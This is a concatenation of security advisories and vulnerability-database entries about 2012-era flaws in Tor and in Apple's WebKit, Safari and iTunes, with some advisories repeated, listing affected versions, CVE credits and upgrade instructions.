The compare_tor_addr_to_addr_policy function in or/policies.c in Tor before 0.2.2.39, and 0.2.3.x before 0.2.3.21-rc, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via a zero-valued port field that is not properly handled during policy comparison. Tor (The Onion Router) is an implementation of the second generation of onion routing, which allows users to communicate anonymously over the Internet. Tor has denial of service and security restrictions to bypass the vulnerability, which can allow an attacker to bypass certain security restrictions or cause a denial of service. Tor is prone to multiple denial-of-service vulnerabilities.
Exploiting these issues can allow attackers to crash the affected computer, denying service to legitimate users.
Versions prior to Tor 0.2.2.39 and 0.2.3.22-rc are vulnerable. The title and technical details have been changed to better reflect the underlying component affected. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandriva Linux Security Advisory MDVSA-2013:132
http://www.mandriva.com/en/support/security/
_______________________________________________________________________
Package : tor
Date : April 10, 2013
Affected: Business Server 1.0
_______________________________________________________________________
Problem Description:
Updated tor package fixes security vulnerabilities:
Tor before 0.2.2.34, when configured as a client or bridge, sends a TLS
certificate chain as part of an outgoing OR connection, which allows
remote relays to bypass intended anonymity properties by reading this
chain and then determining the set of entry guards that the client
or bridge had selected (CVE-2011-2768).
Tor before 0.2.2.34, when configured as a bridge, accepts the CREATE
and CREATE_FAST values in the Command field of a cell within an OR
connection that it initiated, which allows remote relays to enumerate
bridges by using these values (CVE-2011-2769).
routerlist.c in Tor before 0.2.2.38 uses a different amount of time
for relay-list iteration depending on which relay is chosen, which
might allow remote attackers to obtain sensitive information about
relay selection via a timing side-channel attack (CVE-2012-3519).
Tor before 0.2.2.39, when waiting for a client to renegotiate, allowed
it to add bytes to the input buffer, allowing a crash to be caused
remotely (tor-5934, tor-6007).
The version of Tor shipped in MBS1 did not have correctly formed
systemd unit and thus failed to start.
This updated version corrects this problem and restores working
behaviour.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2768
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2769
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3517
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3518
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3519
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4419
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5573
https://wiki.mageia.org/en/Support/Advisories/MGAA-2012-0184
https://wiki.mageia.org/en/Support/Advisories/MGASA-2012-0276
https://wiki.mageia.org/en/Support/Advisories/MGASA-2012-0356
_______________________________________________________________________
Updated Packages:
Mandriva Business Server 1/X86_64:
8cadc920e4452cd2a3551a3cb01d9fcf mbs1/x86_64/tor-0.2.2.39-1.mbs1.x86_64.rpm
7cbba7170bc4f9e6ee8409398437570c mbs1/SRPMS/tor-0.2.2.39-1.mbs1.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrivaUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you.
All packages are signed by Mandriva for security. You can obtain the
GPG public key of the Mandriva Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandriva Linux at:
http://www.mandriva.com/en/support/security/advisories/
If you want to report vulnerabilities, please contact
security_(at)_mandriva.com
_______________________________________________________________________
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Mandriva Security Team
<security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
iD8DBQFRZVsDmqjQ0CJFipgRAm9IAJ9tYUVrI7u2V+7yJGNLn2OVMdOzcACgyrhf
PUIroe88x4NDpj7AUyd2YP8=
=x4YG
-----END PGP SIGNATURE-----
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201301-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: Tor: Multiple vulnerabilities
Date: January 08, 2013
Bugs: #432188, #434882, #444804
ID: 201301-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in Tor, allowing attackers to
cause Denial of Service or obtain sensitive information.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/tor < 0.2.3.25 >= 0.2.3.25
Description
===========
Multiple vulnerabilities have been discovered in Tor. Please review the
CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Tor users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/tor-0.2.3.25"
References
==========
[ 1 ] CVE-2012-3517
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3517
[ 2 ] CVE-2012-3518
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3518
[ 3 ] CVE-2012-3519
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3519
[ 4 ] CVE-2012-4419
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4419
[ 5 ] CVE-2012-4922
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4922
[ 6 ] CVE-2012-5573
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-5573
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201301-03.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2013 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
.
CVE-2012-3518
Avoid an uninitialised memory read when reading a vote or consensus
document that has an unrecognized flavour name.
CVE-2012-3519
Try to leak less information about what relays a client is choosing to
a side-channel attacker. This fixes a potential DoS issue
[tor-5934, tor-6007].
For the stable distribution (squeeze), these problems have been fixed in
version 0.2.2.39-1.
For the unstable distribution, these problems have been fixed in version
0.2.3.22-rc-1.
We recommend that you upgrade your tor packages. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Tor Two Assertion Failure Denial of Service Vulnerabilities
SECUNIA ADVISORY ID:
SA50578
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50578/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50578
RELEASE DATE:
2012-09-14
DISCUSS ADVISORY:
http://secunia.com/advisories/50578/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50578/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50578
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Two vulnerabilities have been reported in Tor, which can be exploited
by malicious people to cause a DoS (Denial of Service).
1) An assertion failure within the "tor_timegm()" function when
handling time information within a directory object can be exploited
to cause a crash.
2) An assertion failure within the
"compare_tor_addr_to_addr_policy()" function when handling certain
port values can be exploited to crash directory authorities.
SOLUTION:
Update to version 0.2.2.39.
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
https://gitweb.torproject.org/tor.git/blob/release-0.2.2:/ReleaseNotes
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201209-0343 | CVE-2012-3647 | plural Apple Used in products Webkit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
WebKit, as used in Apple iTunes before 10.7, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2012-09-12-1. WebKit is prone to multiple unspecified memory-corruption vulnerabilities.
An attacker can exploit these issues by enticing an unsuspecting user into visiting a malicious webpage with a vulnerable application.
Few technical details are currently available. We will update this BID when more information emerges.
Successful exploits will allow attackers to execute arbitrary code in the context of the affected browser or cause denial-of-service conditions; other attacks may also be possible. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
APPLE-SA-2012-09-19-3 Safari 6.0.1
Safari 6.0.1 is now available and addresses the following:
Safari
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: Opening a maliciously crafted downloaded HTML document may
lead to the disclosure of local file content
Description: In OS X Mountain Lion HTML files were removed from the
unsafe type list. Quarantined HTML documents are opened in a safe
mode that prevents accessing other local or remote resources. A logic
error in Safari's handling of the Quarantine attribute caused the
safe mode not to be triggered on Quarantined files. This issue was
addressed by properly detecting the existence of the Quarantine
attribute.
CVE-ID
CVE-2012-3713 : Aaron Sigel of vtty.com, Masahiro Yamada
Safari
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: Using Autofill on a maliciously crafted website may lead to
the disclosure of contact information
Description: A rare condition existed in the handling of Form
Autofill. Using Form Autofill on a maliciously crafted website may
have led to disclosure of information from the Address Book "Me" card
that was not included in the Autofill popover. This issue was
addressed by limiting Autofill to the fields contained in the
popover.
CVE-ID
CVE-2012-3714 : Jonathan Hogervorst of Buzzera
Safari
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: After editing a HTTPS URL in the address bar, a request may
be unexpectedly sent over HTTP
Description: A logic issue existed in the handling of HTTPS URLs in
the address bar. If a portion of the address was edited by pasting
text, the request may be unexpectedly sent over HTTP. This issue was
addressed by improved handling of HTTPS URLs.
CVE-ID
CVE-2012-3715 : Aaron Rhoads of East Watch Services LLC, Pepi
Zawodsky
WebKit
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: Visiting a maliciously crafted website may lead to an
unexpected application termination or arbitrary code execution
Description: Multiple memory corruption issues existed in WebKit.
These issues were addressed through improved memory handling.
CVE-ID
CVE-2011-3105 : miaubiz
CVE-2012-2817 : miaubiz
CVE-2012-2818 : miaubiz
CVE-2012-2829 : miaubiz
CVE-2012-2831 : miaubiz
CVE-2012-2842 : miaubiz
CVE-2012-2843 : miaubiz
CVE-2012-3598 : Apple Product Security
CVE-2012-3601 : Martin Barbella of the Google Chrome Security Team
using AddressSanitizer
CVE-2012-3602 : miaubiz
CVE-2012-3606 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3607 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3612 : Skylined of the Google Chrome Security Team
CVE-2012-3613 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3614 : Yong Li of Research In Motion, Inc.
CVE-2012-3616 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3617 : Apple Product Security
CVE-2012-3621 : Skylined of the Google Chrome Security Team
CVE-2012-3622 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3623 : Skylined of the Google Chrome Security Team
CVE-2012-3624 : Skylined of the Google Chrome Security Team
CVE-2012-3632 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3643 : Skylined of the Google Chrome Security Team
CVE-2012-3647 : Skylined of the Google Chrome Security Team
CVE-2012-3648 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3649 : Dominic Cooney of Google and Martin Barbella of the
Google Chrome Security Team
CVE-2012-3651 : Abhishek Arya and Martin Barbella of the Google
Chrome Security Team
CVE-2012-3652 : Martin Barbella of Google Chrome Security Team
CVE-2012-3654 : Skylined of the Google Chrome Security Team
CVE-2012-3657 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3658 : Apple
CVE-2012-3659 : Mario Gomes of netfuzzer.blogspot.com, Abhishek Arya
(Inferno) of the Google Chrome Security Team
CVE-2012-3660 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3671 : Skylined and Martin Barbella of the Google Chrome
Security Team
CVE-2012-3672 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3673 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3675 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3676 : Julien Chaffraix of the Chromium development
community
CVE-2012-3677 : Apple
CVE-2012-3684 : kuzzcc
CVE-2012-3685 : Apple Product Security
CVE-2012-3687 : kuzzcc
CVE-2012-3688 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3692 : Skylined of the Google Chrome Security Team, Apple
Product Security
CVE-2012-3699 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3700 : Apple Product Security
CVE-2012-3701 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3702 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3703 : Apple Product Security
CVE-2012-3704 : Skylined of the Google Chrome Security Team
CVE-2012-3705 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3706 : Apple Product Security
CVE-2012-3707 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3708 : Apple
CVE-2012-3709 : Apple Product Security
CVE-2012-3710 : James Robinson of Google
CVE-2012-3711 : Skylined of the Google Chrome Security Team
CVE-2012-3712 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
For OS X Lion systems Safari 6.0.1 is available via the Apple
Software Update application.
For OS X Mountain Lion systems, Safari 6.0.1 is included with
OS X v10.8.2.
Information will also be posted to the Apple Security Updates
web site: http://support.apple.com/kb/HT1222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.17 (Darwin)
Comment: GPGTools - http://gpgtools.org
iQIcBAEBAgAGBQJQWho/AAoJEPefwLHPlZEwG9kP/A2FKYpkYoEnaHSaCeI8W/Gt
F+EjtnJ85SnVz76a81dt7O+F65pYMjMYEEHthgw62JAbZHrw93gf1dWpp+0IfXJZ
w/dOV6yNxYmDOh0zir1I2tCIplkD2MvUrubcW+UCwDbVxnGKsTNBWzovHpvos2Uk
lRn6Bl1wM5vOthJO14Z6iS0XX4GkefA3XzoVqY6dU0c9mxrTQhtMWvL+Pb1UpqX3
CZLcMmFGRuCE/+aM+d1x749PEteNDbrnw/aYfMyMSUNgb43EaUxCzTiUU+NvzsFL
Ah33i29Li38nl+rLVgTRRU9EQVm1ZcujoftpgFw9prTd999f47eCSU5/QeDjY+Zw
GLJRDfe/PP/GFKzAchefqS5x2PFUI9hZRGJEFviOEygfEPfYVCe/r/iMvBTtwfkn
GVw1WIXcraqxXGzUNhCCZy3rcA8sSbJlCaIIr3VbtPS7PMHwjSaT+DBgD0hWtnk2
uATTye1UKG8m+FfwXn7ha3/W0kmdEGn1dBgpG2d35yXkGj7zgUgi4MX9HTVGTqEd
Nvlzpffv5LCCdDqhRgqe4uT7fKmb46owoNNHM4eAH4A4EwHzA3lXQt5twhO9b2gL
gWZ+bfwxfUaVlyBDPM1cUZ4e13HRiFPiRI9PJ2S5DrLoiMzpXIbBRH+5fs9uVvV+
zhJ+1dokzSpzRKJOq68N
=xYhU
-----END PGP SIGNATURE-----
. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Apple iTunes Multiple WebKit Vulnerabilities
SECUNIA ADVISORY ID:
SA50618
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50618/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50618
RELEASE DATE:
2012-09-13
DISCUSS ADVISORY:
http://secunia.com/advisories/50618/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50618/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50618
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Apple iTunes, which
can be exploited by malicious people to compromise a user's system.
For more information
SA47231
SA47694
SA47938
SA48016
SA48265
SA48274
SA48512
SA48618
SA48732
SA48992
SA49194
SA49277
SA49724
SA49906
SA50058
The vulnerabilities are reported in versions prior to 10.7.
SOLUTION:
Update to version 10.7.
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
PROVIDED AND/OR DISCOVERED BY:
1) Reported by the vendor.
ORIGINAL ADVISORY:
APPLE-SA-2012-09-12-1:
http://lists.apple.com/archives/security-announce/2012/Sep/msg00001.html
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201209-0253 | CVE-2012-3602 | plural Apple Used in products WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
WebKit, as used in Apple iTunes before 10.7, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2012-09-12-1. WebKit is prone to multiple unspecified memory-corruption vulnerabilities.
An attacker can exploit these issues by enticing an unsuspecting user into visiting a malicious webpage with a vulnerable application.
Few technical details are currently available. We will update this BID when more information emerges.
Successful exploits will allow attackers to execute arbitrary code in the context of the affected browser or cause denial-of-service conditions; other attacks may also be possible. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
APPLE-SA-2012-09-19-3 Safari 6.0.1
Safari 6.0.1 is now available and addresses the following:
Safari
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: Opening a maliciously crafted downloaded HTML document may
lead to the disclosure of local file content
Description: In OS X Mountain Lion HTML files were removed from the
unsafe type list. Quarantined HTML documents are opened in a safe
mode that prevents accessing other local or remote resources. A logic
error in Safari's handling of the Quarantine attribute caused the
safe mode not to be triggered on Quarantined files. This issue was
addressed by properly detecting the existence of the Quarantine
attribute.
CVE-ID
CVE-2012-3713 : Aaron Sigel of vtty.com, Masahiro Yamada
Safari
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: Using Autofill on a maliciously crafted website may lead to
the disclosure of contact information
Description: A rare condition existed in the handling of Form
Autofill. Using Form Autofill on a maliciously crafted website may
have led to disclosure of information from the Address Book "Me" card
that was not included in the Autofill popover. This issue was
addressed by limiting Autofill to the fields contained in the
popover.
CVE-ID
CVE-2012-3714 : Jonathan Hogervorst of Buzzera
Safari
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: After editing a HTTPS URL in the address bar, a request may
be unexpectedly sent over HTTP
Description: A logic issue existed in the handling of HTTPS URLs in
the address bar. If a portion of the address was edited by pasting
text, the request may be unexpectedly sent over HTTP. This issue was
addressed by improved handling of HTTPS URLs.
CVE-ID
CVE-2012-3715 : Aaron Rhoads of East Watch Services LLC, Pepi
Zawodsky
WebKit
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5,
OS X Mountain Lion v10.8 and v10.8.1
Impact: Visiting a maliciously crafted website may lead to an
unexpected application termination or arbitrary code execution
Description: Multiple memory corruption issues existed in WebKit.
These issues were addressed through improved memory handling.
CVE-ID
CVE-2011-3105 : miaubiz
CVE-2012-2817 : miaubiz
CVE-2012-2818 : miaubiz
CVE-2012-2829 : miaubiz
CVE-2012-2831 : miaubiz
CVE-2012-2842 : miaubiz
CVE-2012-2843 : miaubiz
CVE-2012-3598 : Apple Product Security
CVE-2012-3601 : Martin Barbella of the Google Chrome Security Team
using AddressSanitizer
CVE-2012-3602 : miaubiz
CVE-2012-3606 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3607 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3612 : Skylined of the Google Chrome Security Team
CVE-2012-3613 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3614 : Yong Li of Research In Motion, Inc.
CVE-2012-3616 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3617 : Apple Product Security
CVE-2012-3621 : Skylined of the Google Chrome Security Team
CVE-2012-3622 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3623 : Skylined of the Google Chrome Security Team
CVE-2012-3624 : Skylined of the Google Chrome Security Team
CVE-2012-3632 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3643 : Skylined of the Google Chrome Security Team
CVE-2012-3647 : Skylined of the Google Chrome Security Team
CVE-2012-3648 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3649 : Dominic Cooney of Google and Martin Barbella of the
Google Chrome Security Team
CVE-2012-3651 : Abhishek Arya and Martin Barbella of the Google
Chrome Security Team
CVE-2012-3652 : Martin Barbella of Google Chrome Security Team
CVE-2012-3654 : Skylined of the Google Chrome Security Team
CVE-2012-3657 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3658 : Apple
CVE-2012-3659 : Mario Gomes of netfuzzer.blogspot.com, Abhishek Arya
(Inferno) of the Google Chrome Security Team
CVE-2012-3660 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3671 : Skylined and Martin Barbella of the Google Chrome
Security Team
CVE-2012-3672 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3673 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3675 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3676 : Julien Chaffraix of the Chromium development
community
CVE-2012-3677 : Apple
CVE-2012-3684 : kuzzcc
CVE-2012-3685 : Apple Product Security
CVE-2012-3687 : kuzzcc
CVE-2012-3688 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3692 : Skylined of the Google Chrome Security Team, Apple
Product Security
CVE-2012-3699 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3700 : Apple Product Security
CVE-2012-3701 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3702 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3703 : Apple Product Security
CVE-2012-3704 : Skylined of the Google Chrome Security Team
CVE-2012-3705 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3706 : Apple Product Security
CVE-2012-3707 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
CVE-2012-3708 : Apple
CVE-2012-3709 : Apple Product Security
CVE-2012-3710 : James Robinson of Google
CVE-2012-3711 : Skylined of the Google Chrome Security Team
CVE-2012-3712 : Abhishek Arya (Inferno) of the Google Chrome Security
Team
For OS X Lion systems Safari 6.0.1 is available via the Apple
Software Update application.
For OS X Mountain Lion systems, Safari 6.0.1 is included with
OS X v10.8.2.
Information will also be posted to the Apple Security Updates
web site: http://support.apple.com/kb/HT1222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.17 (Darwin)
Comment: GPGTools - http://gpgtools.org
iQIcBAEBAgAGBQJQWho/AAoJEPefwLHPlZEwG9kP/A2FKYpkYoEnaHSaCeI8W/Gt
F+EjtnJ85SnVz76a81dt7O+F65pYMjMYEEHthgw62JAbZHrw93gf1dWpp+0IfXJZ
w/dOV6yNxYmDOh0zir1I2tCIplkD2MvUrubcW+UCwDbVxnGKsTNBWzovHpvos2Uk
lRn6Bl1wM5vOthJO14Z6iS0XX4GkefA3XzoVqY6dU0c9mxrTQhtMWvL+Pb1UpqX3
CZLcMmFGRuCE/+aM+d1x749PEteNDbrnw/aYfMyMSUNgb43EaUxCzTiUU+NvzsFL
Ah33i29Li38nl+rLVgTRRU9EQVm1ZcujoftpgFw9prTd999f47eCSU5/QeDjY+Zw
GLJRDfe/PP/GFKzAchefqS5x2PFUI9hZRGJEFviOEygfEPfYVCe/r/iMvBTtwfkn
GVw1WIXcraqxXGzUNhCCZy3rcA8sSbJlCaIIr3VbtPS7PMHwjSaT+DBgD0hWtnk2
uATTye1UKG8m+FfwXn7ha3/W0kmdEGn1dBgpG2d35yXkGj7zgUgi4MX9HTVGTqEd
Nvlzpffv5LCCdDqhRgqe4uT7fKmb46owoNNHM4eAH4A4EwHzA3lXQt5twhO9b2gL
gWZ+bfwxfUaVlyBDPM1cUZ4e13HRiFPiRI9PJ2S5DrLoiMzpXIbBRH+5fs9uVvV+
zhJ+1dokzSpzRKJOq68N
=xYhU
-----END PGP SIGNATURE-----
. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Apple iTunes Multiple WebKit Vulnerabilities
SECUNIA ADVISORY ID:
SA50618
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50618/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50618
RELEASE DATE:
2012-09-13
DISCUSS ADVISORY:
http://secunia.com/advisories/50618/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50618/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50618
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Apple iTunes, which
can be exploited by malicious people to compromise a user's system.
For more information
SA47231
SA47694
SA47938
SA48016
SA48265
SA48274
SA48512
SA48618
SA48732
SA48992
SA49194
SA49277
SA49724
SA49906
SA50058
The vulnerabilities are reported in versions prior to 10.7.
SOLUTION:
Update to version 10.7.
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
PROVIDED AND/OR DISCOVERED BY:
1) Reported by the vendor.
